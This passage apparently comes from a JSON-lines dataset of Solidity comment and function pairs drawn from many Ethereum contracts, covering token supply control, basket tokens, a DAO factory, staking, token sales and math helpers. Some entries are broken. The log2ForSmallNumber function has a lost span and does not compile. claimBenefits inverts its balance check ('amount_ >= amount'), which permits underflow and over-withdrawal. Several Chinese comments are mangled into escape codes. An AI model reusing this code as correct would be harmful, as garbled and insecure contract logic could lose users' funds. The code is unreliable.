div(mload(add(add(positionDescription, 0x20), offset)), 0x1000000000000000000000000)\n }\n // must be one of TroveManager, LqtyStaking, or StabilityPool\n if (( address(_troveManager) != positionContract) && (lqtyStaking != positionContract) && (stabilityPool != positionContract)) return false;\n }\n return true;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Wipes the balance of a frozen address, burning the tokens\n * and setting the approval to zero.\n * @param _addr The new frozen address to wipe.\n */", "function_code": "function wipeFrozenAddress(address _addr) public onlyLawEnforcementRole {\n require(frozen[_addr], \"address is not frozen\");\n uint256 _balance = balances[_addr];\n balances[_addr] = 0;\n totalSupply_ = totalSupply_.sub(_balance);\n emit FrozenAddressWiped(_addr);\n emit SupplyDecreased(_addr, _balance);\n emit Transfer(_addr, address(0), _balance);\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Sets a new supply controller address.\n * @param _newSupplyController The address allowed to burn/mint tokens to control supply.\n */", "function_code": "function setSupplyController(address _newSupplyController) public {\n require(msg.sender == supplyController || msg.sender == owner, \"only SupplyController or Owner\");\n require(_newSupplyController != address(0), \"cannot set supply controller to address zero\");\n emit SupplyControllerSet(supplyController, _newSupplyController);\n supplyController = _newSupplyController;\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Decreases the total supply by burning the specified number of tokens from the supply controller account.\n * @param _value The number of tokens to remove.\n * @return A boolean that indicates if the operation was successful.\n */", "function_code": "function decreaseSupply(uint256 _value) public onlySupplyController returns (bool success) {\n require(_value <= balances[supplyController], \"not enough supply\");\n balances[supplyController] = balances[supplyController].sub(_value);\n totalSupply_ = totalSupply_.sub(_value);\n emit SupplyDecreased(supplyController, _value);\n emit Transfer(supplyController, address(0), _value);\n return true;\n }", "version": "0.4.24"} {"comment": "/// @return Returns index and ok for the first occurrence starting from\n/// index 0", "function_code": "function index(address[] addresses, address a)\r\n internal pure returns (uint, bool)\r\n {\r\n for (uint i = 0; i < addresses.length; i++) {\r\n if (addresses[i] == a) {\r\n return (i, true);\r\n }\r\n }\r\n return (0, false);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Initializes contract with a list of ERC20 token addresses and\n/// corresponding minimum number of units required for a creation unit\n/// @param addresses Addresses of the underlying ERC20 token contracts\n/// @param quantities Number of token base units required per creation unit\n/// @param _creationUnit Number of base units per creation unit", "function_code": "function BsktToken(\r\n address[] addresses,\r\n uint256[] quantities,\r\n uint256 _creationUnit,\r\n string _name,\r\n string _symbol\r\n ) DetailedERC20(_name, _symbol, 18) public {\r\n require(addresses.length > 0);\r\n require(addresses.length == quantities.length);\r\n require(_creationUnit >= 1);\r\n\r\n for (uint256 i = 0; i < addresses.length; i++) {\r\n tokens.push(TokenInfo({\r\n addr: addresses[i],\r\n quantity: quantities[i]\r\n }));\r\n }\r\n\r\n creationUnit = _creationUnit;\r\n name = _name;\r\n symbol = _symbol;\r\n }", "version": "0.4.21"} {"comment": "/// @notice Creates Bskt tokens in exchange for underlying tokens. Before\n/// calling, underlying tokens must be approved to be moved by the Bskt\n/// contract. The number of approved tokens required depends on baseUnits.\n/// @dev If any underlying tokens' `transferFrom` fails (eg. the token is\n/// frozen), create will no longer work. At this point a token upgrade will\n/// be necessary.\n/// @param baseUnits Number of base units to create. Must be a multiple of\n/// creationUnit.", "function_code": "function create(uint256 baseUnits)\r\n external\r\n whenNotPaused()\r\n requireNonZero(baseUnits)\r\n requireMultiple(baseUnits)\r\n {\r\n // Check overflow\r\n require((totalSupply_ + baseUnits) > totalSupply_);\r\n\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n TokenInfo memory token = tokens[i];\r\n ERC20 erc20 = ERC20(token.addr);\r\n uint256 amount = baseUnits.div(creationUnit).mul(token.quantity);\r\n require(erc20.transferFrom(msg.sender, address(this), amount));\r\n }\r\n\r\n mint(msg.sender, baseUnits);\r\n emit Create(msg.sender, baseUnits);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Redeems Bskt tokens in exchange for underlying tokens\n/// @param baseUnits Number of base units to redeem. Must be a multiple of\n/// creationUnit.\n/// @param tokensToSkip Underlying token addresses to skip redemption for.\n/// Intended to be used to skip frozen or broken tokens which would prevent\n/// all underlying tokens from being withdrawn due to a revert. Skipped\n/// tokens are left in the Bskt contract and are unclaimable.", "function_code": "function redeem(uint256 baseUnits, address[] tokensToSkip)\r\n external\r\n requireNonZero(baseUnits)\r\n requireMultiple(baseUnits)\r\n {\r\n require(baseUnits <= totalSupply_);\r\n require(baseUnits <= balances[msg.sender]);\r\n require(tokensToSkip.length <= tokens.length);\r\n // Total supply check not required since a user would have to have\r\n // balance greater than the total supply\r\n\r\n // Burn before to prevent re-entrancy\r\n burn(msg.sender, baseUnits);\r\n\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n TokenInfo memory token = tokens[i];\r\n ERC20 erc20 = ERC20(token.addr);\r\n uint256 index;\r\n bool ok;\r\n (index, ok) = tokensToSkip.index(token.addr);\r\n if (ok) {\r\n continue;\r\n }\r\n uint256 amount = baseUnits.div(creationUnit).mul(token.quantity);\r\n require(erc20.transfer(msg.sender, amount));\r\n }\r\n emit Redeem(msg.sender, baseUnits, tokensToSkip);\r\n }", "version": "0.4.21"} {"comment": "// @notice Look up token quantity and whether token exists\n// @param token Token address to look up\n// @return (quantity, ok) Units of underlying token, and whether the\n// token was found", "function_code": "function getQuantity(address token) internal view returns (uint256, bool) {\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n if (tokens[i].addr == token) {\r\n return (tokens[i].quantity, true);\r\n }\r\n }\r\n return (0, false);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Owner: Withdraw excess funds which don't belong to Bskt token\n/// holders\n/// @param token ERC20 token address to withdraw", "function_code": "function withdrawExcessToken(address token)\r\n external\r\n onlyOwner\r\n nonReentrant\r\n {\r\n ERC20 erc20 = ERC20(token);\r\n uint256 withdrawAmount;\r\n uint256 amountOwned = erc20.balanceOf(address(this));\r\n uint256 quantity;\r\n bool ok;\r\n (quantity, ok) = getQuantity(token);\r\n if (ok) {\r\n withdrawAmount = amountOwned.sub(\r\n totalSupply_.div(creationUnit).mul(quantity)\r\n );\r\n } else {\r\n withdrawAmount = amountOwned;\r\n }\r\n require(erc20.transfer(owner, withdrawAmount));\r\n }", "version": "0.4.21"} {"comment": "// Purchase one or more card packs for the price in ToshiCoin", "function_code": "function purchasePack(uint256 amount) public {\r\n require(packPriceInToshiCoin > 0, 'Pack does not exist');\r\n require(\r\n toshiCoin.balanceOf(msg.sender) >= packPriceInToshiCoin.mul(amount),\r\n 'Not enough toshiCoin for pack'\r\n );\r\n\r\n toshiCoin.burn(msg.sender, packPriceInToshiCoin.mul(amount));\r\n packsPurchased = packsPurchased.add(amount);\r\n toshimonMinter.mint(msg.sender, minterPackId, amount, '');\r\n }", "version": "0.6.12"} {"comment": "// Utility function to check if a value is inside an array", "function_code": "function _isInArray(uint256 _value, uint256[] memory _array)\r\n internal\r\n pure\r\n returns (bool)\r\n {\r\n uint256 length = _array.length;\r\n for (uint256 i = 0; i < length; ++i) {\r\n if (_array[i] == _value) {\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n }", "version": "0.6.12"} {"comment": "/* send Tokens to any investor by owner or distributor */", "function_code": "function sendToInvestor(address investor, uint value) public canTransfer {\r\n require(investor != 0x0 && value > 0);\r\n require(value <= balances[owner]);\r\n\r\n\t\t/* new */\r\n\t\trequire(distributorsAmount[msg.sender] >= value && value > 0);\r\n\t\tdistributorsAmount[msg.sender] = distributorsAmount[msg.sender].sub(value);\r\n\t\t\r\n balances[owner] = balances[owner].sub(value);\r\n balances[investor] = balances[investor].add(value);\r\n addTokenHolder(investor);\r\n Transfer(owner, investor, value);\r\n }", "version": "0.4.24"} {"comment": "/* transfer method, with byuout */", "function_code": "function transfer(address to, uint value) public returns (bool success) {\r\n require(to != 0x0 && value > 0);\r\n\r\n if(to == owner && byuoutActive && byuoutCount > 0){\r\n uint bonus = 0 ;\r\n if(value > byuoutCount){\r\n bonus = byuoutCount.mul(priceForBasePart);\r\n byuoutCount = 0;\r\n }else{\r\n bonus = value.mul(priceForBasePart);\r\n byuoutCount = byuoutCount.sub(value);\r\n }\r\n msg.sender.transfer(bonus);\r\n }\r\n\r\n addTokenHolder(to);\r\n return super.transfer(to, value);\r\n }", "version": "0.4.24"} {"comment": "/// @notice All governing tokens created via factory.\n/// @return array of all governing token addresses.", "function_code": "function poolTokens() public view returns (address[] memory) {\n uint256 length = _poolTokens.length();\n address[] memory poolTokenAddresses = new address[](length);\n for (uint256 i = 0; i < length; i++) {\n poolTokenAddresses[i] = _poolTokens.at(i);\n }\n return poolTokenAddresses;\n }", "version": "0.6.6"} {"comment": "/// @notice Gets addresses of governing tokens that are visible to holder.\n/// @param holder_ holder address to get available tokens for.\n/// @return array of token addresses that holder owns or can buy.", "function_code": "function poolTokensForHolder(address holder_) public view returns (address[] memory) {\n uint256 length = _poolTokens.length();\n if (length == 0) {\n return new address[](0);\n }\n address[] memory poolTokenAddresses = new address[](length);\n uint256 pointer = 0;\n for (uint256 i = 0; i < length; i++) {\n address token = _poolTokens.at(i);\n if (token != address(0x0)) {\n address dao = _pools[token];\n if ((ITorro(token).totalOf(holder_) > 0) || ITorroDao(dao).isPublic() || ITorroDao(dao).daoCreator() == holder_) {\n poolTokenAddresses[pointer++] = token;\n }\n }\n }\n return poolTokenAddresses;\n }", "version": "0.6.6"} {"comment": "/// @notice Checks whether provided address is a valid DAO.\n/// @param dao_ address to check.\n/// @return bool true if address is a valid DAO.", "function_code": "function isDao(address dao_) public view override returns (bool) {\n if (dao_ == _torroDao) {\n return true;\n }\n uint256 length = _poolTokens.length();\n for (uint256 i = 0; i < length; i++) {\n if (dao_ == _pools[_poolTokens.at(i)]) {\n return true;\n }\n }\n\n return false;\n }", "version": "0.6.6"} {"comment": "/// @notice Creates a cloned DAO and governing token.\n/// @param maxCost_ maximum cost of all governing tokens for created DAO.\n/// @param executeMinPct_ minimum percentage of votes needed for proposal execution.\n/// @param votingMinHours_ minimum lifetime of proposal before it closes.\n/// @param isPublic_ whether DAO is publically visible.\n/// @param hasAdmins_ whether DAO has admins or all holders should be treated as admins.", "function_code": "function create(uint256 maxCost_, uint256 executeMinPct_, uint256 votingMinHours_, bool isPublic_, bool hasAdmins_) public payable {\n // Check that correct payment has been sent for creation.\n require(msg.value == _createPrice);\n // Check that maximum cost specified is equal or greater than required minimal maximum cost. \n require(maxCost_ >= _minMaxCost);\n \n // Create clones of main governing token and DAO.\n address tokenProxy = createClone(_torroToken);\n address daoProxy = createClone(_torroDao);\n\n // Initialize governing token and DAO.\n ITorroDao(daoProxy).initializeCustom(_torroToken, tokenProxy, address(this), msg.sender, maxCost_, executeMinPct_, votingMinHours_, isPublic_, hasAdmins_);\n ITorro(tokenProxy).initializeCustom(daoProxy, address(this), _customSupply);\n\n // Save addresses of newly created governing token and DAO.\n _poolTokens.add(tokenProxy);\n _pools[tokenProxy] = daoProxy;\n \n // Forward payment to factory owner.\n payable(_owner).transfer(msg.value);\n\n // Emit event that new DAO pool has been created.\n emit PoolCreated(tokenProxy, daoProxy);\n }", "version": "0.6.6"} {"comment": "/// @notice Claim available benefits for holder.\n/// @param amount_ of wei to claim.", "function_code": "function claimBenefits(uint256 amount_) public override {\n // Check that factory has enough eth to pay for withdrawal.\n require(amount_ <= address(this).balance);\n // Check that holder has enough benefits to withdraw specified amount.\n uint256 amount = _benefits[msg.sender];\n require(amount_ >= amount);\n\n // Reduce holders available withdrawal benefits.\n _benefits[msg.sender] = amount - amount_;\n \n // Transfer benefits to holder's address.\n payable(msg.sender).transfer(amount_);\n\n // Emit event that holder has claimed benefits.\n emit ClaimBenefits(msg.sender);\n }", "version": "0.6.6"} {"comment": "/// @notice Adds withdrawal benefits for holder.\n/// @param recipient_ holder that's getting benefits.\n/// @param amount_ benefits amount to be added to holder's existing benefits.", "function_code": "function addBenefits(address recipient_, uint256 amount_) public override {\n // Check that function is triggered by one of DAO governing tokens.\n require(_torroToken == msg.sender || _poolTokens.contains(msg.sender));\n // Add holders benefits.\n _benefits[recipient_] = _benefits[recipient_] + amount_;\n }", "version": "0.6.6"} {"comment": "/// @notice Depositis withdrawal benefits.\n/// @param token_ governing token for DAO that's depositing benefits.", "function_code": "function depositBenefits(address token_) public override payable {\n // Check that governing token for DAO that's depositing benefits exists.\n // And check that benefits deposition is sent by corresponding DAO.\n if (token_ == _torroToken) {\n require(msg.sender == _torroDao);\n } else {\n require(_poolTokens.contains(token_) && msg.sender == _pools[token_]);\n }\n // do nothing\n }", "version": "0.6.6"} {"comment": "/// @notice Creates clone of main DAO and migrates an existing DAO to it.\n/// @param token_ Governing token that needs to migrate to new dao.", "function_code": "function migrate(address token_) public onlyOwner {\n ITorroDao currentDao = ITorroDao(_pools[token_]);\n // Create a new clone of main DAO.\n address daoProxy = createClone(_torroDao);\n // Initialize it with parameters from existing dao.\n ITorroDao(daoProxy).initializeCustom(\n _torroToken,\n token_,\n address(this),\n currentDao.daoCreator(),\n currentDao.maxCost(),\n currentDao.executeMinPct(),\n currentDao.votingMinHours(),\n currentDao.isPublic(),\n currentDao.hasAdmins()\n );\n\n // Update dao address reference for governing token.\n _pools[token_] = daoProxy;\n\n // Update governing token addresses.\n ITorro(token_).setDaoFactoryAddresses(daoProxy, address(this));\n }", "version": "0.6.6"} {"comment": "/**\n * @dev Stakes the specified `amount` of tokens, this will attempt to transfer the given amount from the caller.\n * It will count the actual number of tokens trasferred as being staked\n * MUST trigger Staked event.\n * Returns the number of tokens actually staked\n **/", "function_code": "function stake(uint256 amount) external override nonReentrant returns (uint256){\n require(amount > 0, \"Cannot Stake 0\");\n uint256 previousAmount = IERC20(_token).balanceOf(address(this));\n _token.safeTransferFrom( msg.sender, address(this), amount);\n uint256 transferred = IERC20(_token).balanceOf(address(this)) - previousAmount;\n require(transferred > 0);\n stakes[msg.sender].totalStake = stakes[msg.sender].totalStake + transferred;\n stakes[msg.sender].stakedAmount[msg.sender] = stakes[msg.sender].stakedAmount[msg.sender] + transferred;\n _totalStaked = _totalStaked + transferred;\n emit Staked(msg.sender, msg.sender, msg.sender, transferred);\n return transferred;\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Stakes the specified `amount` of tokens from `staker` on behalf of address `voter`,\n * this will attempt to transfer the given amount from the caller.\n * Must be called from an ISTAKINGPROXY contract that has been approved by `staker`.\n * Tokens will be staked towards the voting power of address `voter` allowing one address to delegate voting power to another.\n * It will count the actual number of tokens trasferred as being staked\n * MUST trigger Staked event.\n * Returns the number of tokens actually staked\n **/", "function_code": "function stakeFor(address voter, address staker, uint256 amount) external override nonReentrant returns (uint256){\n require(amount > 0, \"Cannot Stake 0\");\n uint256 previousAmount = IERC20(_token).balanceOf(address(this));\n //_token.safeTransferFrom( msg.sender, address(this), amount);\n ISTAKINGPROXY(msg.sender).proxyTransfer(staker, amount);\n //verify that amount that the proxy contract transferred the amount\n uint256 transferred = IERC20(_token).balanceOf(address(this)) - previousAmount;\n require(transferred > 0);\n stakes[voter].totalStake = stakes[voter].totalStake + transferred;\n stakes[voter].stakedAmount[msg.sender] = stakes[voter].stakedAmount[msg.sender] + transferred;\n _totalStaked = _totalStaked + transferred;\n emit Staked(voter, staker, msg.sender, transferred);\n return transferred;\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Unstakes the specified `amount` of tokens, this SHOULD return the given amount of tokens to the caller,\n * MUST trigger Unstaked event.\n */", "function_code": "function unstake(uint256 amount) external override nonReentrant{\n require(amount > 0, \"Cannot UnStake 0\");\n require(amount <= stakes[msg.sender].stakedAmount[msg.sender], \"INSUFFICENT TOKENS TO UNSTAKE\");\n _token.safeTransfer( msg.sender, amount);\n stakes[msg.sender].totalStake = stakes[msg.sender].totalStake - amount;\n stakes[msg.sender].stakedAmount[msg.sender] = stakes[msg.sender].stakedAmount[msg.sender] - amount;\n _totalStaked = _totalStaked - amount;\n emit Unstaked(msg.sender,msg.sender, msg.sender, amount);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Unstakes the specified `amount` of tokens currently staked by `staker` on behalf of `voter`,\n * this SHOULD return the given amount of tokens to the calling contract\n * calling contract is responsible for returning tokens to `staker` if applicable.\n * MUST trigger Unstaked event.\n */", "function_code": "function unstakeFor(address voter, address staker, uint256 amount) external override nonReentrant{\n require(amount > 0, \"Cannot UnStake 0\");\n require(amount <= stakes[voter].stakedAmount[msg.sender], \"INSUFFICENT TOKENS TO UNSTAKE\");\n //_token.safeTransfer( msg.sender, amount);\n _token.safeTransfer(staker, amount);\n stakes[voter].totalStake = stakes[voter].totalStake - amount;\n stakes[voter].stakedAmount[msg.sender] = stakes[voter].stakedAmount[msg.sender] - amount;\n _totalStaked = _totalStaked - amount;\n emit Unstaked(voter, staker, msg.sender, amount);\n }", "version": "0.8.10"} {"comment": "/**\r\n * @param _startFundingTime The UNIX time that the BaseTokenSale will be able to start receiving funds\r\n * @param _endFundingTime The UNIX time that the BaseTokenSale will stop being able to receive funds\r\n * @param _vaultAddress The address that will store the donated funds\r\n * @param _tokenAddress Address of the token contract this contract controls\r\n */", "function_code": "function BaseTokenSale(\r\n uint _startFundingTime, \r\n uint _endFundingTime, \r\n address _vaultAddress,\r\n address _tokenAddress\r\n ) public {\r\n require(_endFundingTime > now);\r\n require(_endFundingTime >= _startFundingTime);\r\n require(_vaultAddress != 0);\r\n require(_tokenAddress != 0);\r\n require(!initialed);\r\n\r\n startFundingTime = _startFundingTime;\r\n endFundingTime = _endFundingTime;\r\n vaultAddress = _vaultAddress;\r\n tokenContract = Token(_tokenAddress);\r\n paused = false;\r\n initialed = true;\r\n }", "version": "0.4.19"} {"comment": "/// @dev `doPayment()` is an internal function that sends the ether that this\n/// contract receives to the `vault` and creates tokens in the address of the\n/// `_owner` assuming the BaseTokenSale is still accepting funds\n/// @param _owner The address that will hold the newly created tokens", "function_code": "function doPayment(address _owner) internal returns(bool success) {\r\n //info(\"step\", \"enter doPayment\");\r\n require(msg.value >= minFunding);\r\n require(endFundingTime > now);\r\n\r\n // Track how much the BaseTokenSale has collected\r\n require(totalCollected < maximumFunding);\r\n totalCollected = totalCollected.add(msg.value);\r\n\r\n //Send the ether to the vault\r\n require(vaultAddress.send(msg.value));\r\n \r\n uint256 tokenValue = tokensPerEther.mul(msg.value);\r\n // Creates an equal amount of tokens as ether sent. The new tokens are created in the `_owner` address\r\n require(tokenContract.generateTokens(_owner, tokenValue));\r\n uint256 lock1 = tokenValue / 10; //\u524d5\u4e2a\u6708\u6309\u7167\u6bcf\u670810%\u9501\u5b9a\r\n uint256 lock2 = tokenValue / 5; //\u6700\u540e\u4e00\u4e2a\u6708\u89e3\u950120%\r\n require(tokenContract.freeze(_owner, lock1, 0)); //\u79c1\u52df\u7b2c\u4e00\u8f6e\u89e3\u9501\r\n tokenContract.freeze(_owner, lock1, 1); //\u79c1\u52df\u7b2c\u4e8c\u8f6e\u89e3\u9501\r\n tokenContract.freeze(_owner, lock1, 2);\r\n tokenContract.freeze(_owner, lock1, 3);\r\n tokenContract.freeze(_owner, lock1, 4);\r\n tokenContract.freeze(_owner, lock2, 5);\r\n //require(tokenContract.freeze(_owner, lock3, 5)); //\u79c1\u52df\u7b2c\u4e09\u8f6e\u89e3\u9501\r\n Payment(_owner, msg.value, tokenValue);\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/// @notice `finalizeSale()` ends the BaseTokenSale. It will generate the platform and team tokens\n/// and set the controller to the referral fee contract.\n/// @dev `finalizeSale()` can only be called after the end of the funding period or if the maximum amount is raised.", "function_code": "function finalizeSale() onlyController public {\r\n require(now > endFundingTime || totalCollected >= maximumFunding);\r\n require(!finalized);\r\n\r\n //20000 TNB/ETH and 90 percent discount\r\n uint256 totalTokens = totalCollected * tokensPerEther * 10**18;\r\n if (!tokenContract.generateTokens(vaultAddress, totalTokens)) {\r\n revert();\r\n }\r\n\r\n finalized = true;\r\n allowChange = false;\r\n }", "version": "0.4.19"} {"comment": "// internal function only ever called from constructor", "function_code": "function _addBeneficiary(address beneficiary, uint256 amount, uint8 divide, uint256 claimFrequency)\r\n internal\r\n \r\n {\r\n _vestingAllowances[beneficiary] = amount;\r\n _claimFrequency[beneficiary] = claimFrequency;\r\n _claimAmounts[beneficiary] = amount.div(divide);\r\n _lastClaimed[beneficiary] = now;\r\n // beneficiary gets first division of funds immediately\r\n _grantFunds(beneficiary);\r\n }", "version": "0.5.0"} {"comment": "/// @dev Function that is called when a user or another contract wants to transfer funds .\n/// @param _to Recipient address\n/// @param _value Transfer amount in unit\n/// @param _data the data pass to contract reveiver", "function_code": "function transfer(\r\n address _to, \r\n uint _value, \r\n bytes _data) \r\n public\r\n isTradable \r\n returns (bool success) {\r\n require(_to != 0x0);\r\n balances[msg.sender] = balanceOf(msg.sender).sub(_value);\r\n balances[_to] = balanceOf(_to).add(_value);\r\n Transfer(msg.sender, _to, _value);\r\n if(isContract(_to)) {\r\n ContractReceiver receiver = ContractReceiver(_to);\r\n receiver.tokenFallback(msg.sender, _value, _data);\r\n Transfer(msg.sender, _to, _value, _data);\r\n }\r\n \r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/* solhint-disable code-complexity */", "function_code": "function exp(uint p, uint q, uint precision) public pure returns (uint) {\r\n uint n = 0;\r\n uint nFact = 1;\r\n uint currentP = 1;\r\n uint currentQ = 1;\r\n\r\n uint sum = 0;\r\n uint prevSum = 0;\r\n\r\n while (true) {\r\n if (checkMultOverflow(currentP, precision)) return sum;\r\n if (checkMultOverflow(currentQ, nFact)) return sum;\r\n\r\n sum += (currentP * precision) / (currentQ * nFact);\r\n\r\n if (sum == prevSum) return sum;\r\n prevSum = sum;\r\n\r\n n++;\r\n\r\n if (checkMultOverflow(currentP, p)) return sum;\r\n if (checkMultOverflow(currentQ, q)) return sum;\r\n if (checkMultOverflow(nFact, n)) return sum;\r\n\r\n currentP *= p;\r\n currentQ *= q;\r\n nFact *= n;\r\n\r\n (currentP, currentQ) = compactFraction(currentP, currentQ, precision);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/* solhint-enable code-complexity */", "function_code": "function countLeadingZeros(uint p, uint q) public pure returns (uint) {\r\n uint denomator = (uint(1)<<255);\r\n for (int i = 255; i >= 0; i--) {\r\n if ((q*denomator)/denomator != q) {\r\n // overflow\r\n denomator = denomator/2;\r\n continue;\r\n }\r\n if (p/(q*denomator) > 0) return uint(i);\r\n denomator = denomator/2;\r\n }\r\n\r\n return uint(-1);\r\n }", "version": "0.4.18"} {"comment": "// log2 for a number that it in [1,2)", "function_code": "function log2ForSmallNumber(uint x, uint numPrecisionBits) public pure returns (uint) {\r\n uint res = 0;\r\n uint one = (uint(1)<= one) && (x <= two));\r\n require(numPrecisionBits < 125);\r\n\r\n for (uint i = numPrecisionBits; i > 0; i--) {\r\n x = (x*x) / one;\r\n addition = addition/2;\r\n if (x >= two) {\r\n x = x/2;\r\n res += addition;\r\n }\r\n }\r\n\r\n return res;\r\n }", "version": "0.4.18"} {"comment": "/**\n * @dev purchase asset token with el.\n *\n * This can be used to purchase asset token with Elysia Token (EL).\n *\n * Requirements:\n * - `amount` this contract should have more asset tokens than the amount.\n * - `amount` msg.sender should have more el than elAmount converted from the amount.\n */", "function_code": "function purchase(uint256 amount)\n external\n override\n whenNotPaused\n {\n _checkBalance(msg.sender, address(this), amount);\n\n ExchangeLocalVars memory vars =\n ExchangeLocalVars({\n currencyPrice: eController.getPrice(payment),\n assetTokenPrice: price\n });\n\n require(\n _el.transferFrom(\n msg.sender,\n address(this),\n amount.mul(vars.mulPrice())\n ),\n \"EL : transferFrom failed\"\n );\n _transfer(address(this), msg.sender, amount);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev refund asset token.\n *\n * This can be used to refund asset token with Elysia Token (EL).\n *\n * Requirements:\n * - `amount` msg.sender should have more asset token than the amount.\n * - `amount` this contract should have more el than elAmount converted from the amount.\n */", "function_code": "function refund(uint256 amount)\n external\n override\n whenNotPaused\n {\n _checkBalance(address(this), msg.sender, amount);\n\n ExchangeLocalVars memory vars =\n ExchangeLocalVars({\n currencyPrice: eController.getPrice(payment),\n assetTokenPrice: price\n });\n\n require(\n _el.transfer(msg.sender, amount.mul(vars.mulPrice())),\n \"EL : transfer failed\"\n );\n _transfer(msg.sender, address(this), amount);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev check if buyer and seller have sufficient balance.\n *\n * This can be used to check balance of buyer and seller before swap.\n *\n * Requirements:\n * - `amount` buyer should have more asset token than the amount.\n * - `amount` seller should have more el than elAmount converted from the amount.\n */", "function_code": "function _checkBalance(\n address buyer,\n address seller,\n uint256 amount\n ) internal view {\n\n ExchangeLocalVars memory vars =\n ExchangeLocalVars({\n currencyPrice: eController.getPrice(payment),\n assetTokenPrice: price\n });\n\n require(\n _el.balanceOf(buyer) >= amount.mul(vars.mulPrice()),\n \"AssetToken: Insufficient buyer el balance.\"\n );\n require(\n balanceOf(seller) >= amount,\n \"AssetToken: Insufficient seller balance.\"\n );\n }", "version": "0.7.4"} {"comment": "/**\r\n * @dev Allows the user to deposit some amount of Hydro tokens. Records user/swap data and emits a SwapDeposit event.\r\n * @param amount Amount of input tokens to be swapped.\r\n */", "function_code": "function swap( uint256 amount) external {\r\n require (isActive==true);\r\n require(amount > 0, \"Input amount must be positive.\");\r\n uint256 outputAmount = amount;\r\n require(outputAmount > 0, \"Amount too small.\");\r\n require(IERC20(Hydro_ADDRESS).transferFrom(msg.sender, Main_ADDRESS, amount), \"Transferring Hydro tokens from user failed\");\r\n userDetails[msg.sender].totalAmountSwapped+=amount;\r\n totalAmountSwapped+=amount;\r\n emit SwapDeposit(msg.sender,amount);\r\n \r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Mint your signature tokens!\r\n * @param name: Minter's name. Whatever the minter wants it to be. Can never be changed.\r\n */", "function_code": "function mint(string memory name) public {\r\n // check that have not already minted, then register as minted\r\n require(!hasMinted[msg.sender], DUPLICATE_MINT_ERROR);\r\n hasMinted[msg.sender] = true;\r\n\r\n uint256 tmpId = nextTokenId;\r\n\r\n // mint the tokens\r\n _mint(msg.sender, tmpId, N_PLATINUM, \"\");\r\n _mint(msg.sender, tmpId + 1, N_GOLD, \"\");\r\n _mint(msg.sender, tmpId + 2, N_SILVER, \"\");\r\n _mint(msg.sender, tmpId + 3, N_INK, \"\");\r\n _mint(devs, tmpId + 4, N_DEV, \"\");\r\n\r\n // check founder event and mint if necessary\r\n if (foundingEventActive) {\r\n _mint(msg.sender, tmpId + 5, N_FOUNDER, \"\");\r\n }\r\n\r\n // emit Mint event\r\n emit Mint(\r\n msg.sender,\r\n tmpId.div(TOKEN_IDS_PER_SET),\r\n name,\r\n foundingEventActive\r\n );\r\n nextTokenId += TOKEN_IDS_PER_SET;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Call sign to sign any ERC-721 owned by msg.sender with a signature token,\r\n * while also burning your signature token.\r\n *\r\n * @param nftAddr: address of NFT to be signed\r\n * @param nftTokenId: tokenId of NFT to be signed, at nftAddr\r\n * @param sigTokenId: signature tokenId to sign with (in this contract)\r\n */", "function_code": "function sign(\r\n address nftAddr,\r\n uint256 nftTokenId,\r\n uint256 sigTokenId\r\n ) external {\r\n // sender must own the NFT to be signed\r\n IERC721 ERC721 = IERC721(nftAddr);\r\n require(ERC721.ownerOf(nftTokenId) == msg.sender, OWNERSHIP_ERROR);\r\n // burn the signature token\r\n _burn(msg.sender, sigTokenId, N_BURN);\r\n // require NFT to not already signed by the exact same signature token + type\r\n require(\r\n !signatures[nftAddr][nftTokenId].contains(sigTokenId),\r\n ALREADY_SIGNED_ERROR\r\n );\r\n // sign the token\r\n signatures[nftAddr][nftTokenId].add(sigTokenId);\r\n // emit Sign event\r\n emit Sign(msg.sender, sigTokenId, nftAddr, nftTokenId);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Mint multiple NFTs\n * @param to address that new NFTs will belong to\n * @param tokenIds ids of new NFTs to create\n * @param preApprove optional account that is pre-approved to move tokens\n * after token creation.\n */", "function_code": "function massMint(\n address to,\n uint256[] calldata tokenIds,\n address preApprove\n ) external onlyOwner {\n for (uint256 i = 0; i < tokenIds.length; i++) {\n _mint(to, tokenIds[i]);\n if (preApprove != address(0)) {\n _approve(preApprove, tokenIds[i]);\n }\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Assign `amount_` of privately distributed tokens\r\n * to someone identified with `to_` address.\r\n * @param to_ Tokens owner\r\n * @param group_ Group identifier of privately distributed tokens\r\n * @param amount_ Number of tokens distributed with decimals part\r\n */", "function_code": "function assignReserved(address to_, uint8 group_, uint amount_) onlyOwner public {\r\n require(to_ != address(0) && (group_ & 0x3) != 0);\r\n if (group_ == RESERVED_UTILITY_GROUP) {\r\n require(block.timestamp >= utilityLockedDate);\r\n }\r\n\r\n // SafeMath will check reserved[group_] >= amount\r\n reserved[group_] = reserved[group_].sub(amount_);\r\n balances[to_] = balances[to_].add(amount_);\r\n ReservedTokensDistributed(to_, group_, amount_);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Constructor\r\n * @param _owner The owner of the contract\r\n * @param _payee The payee - the account that can collect payments from this contract\r\n * @param _paymentInterval Interval for payments, unit: seconds\r\n * @param _paymentAmount The amount payee can claim per period, unit: wei\r\n * @param _startTime Date and time (unix timestamp - seconds since 1970) when first payment can be claimed by payee\r\n * @param _label Label for contract, e.g \"rent\" or \"weekly paycheck\"\r\n */", "function_code": "function StandingOrder(\r\n address _owner,\r\n address _payee,\r\n uint _paymentInterval,\r\n uint _paymentAmount,\r\n uint _startTime,\r\n string _label\r\n )\r\n payable\r\n {\r\n // Sanity check parameters\r\n require(_paymentInterval > 0);\r\n require(_paymentAmount > 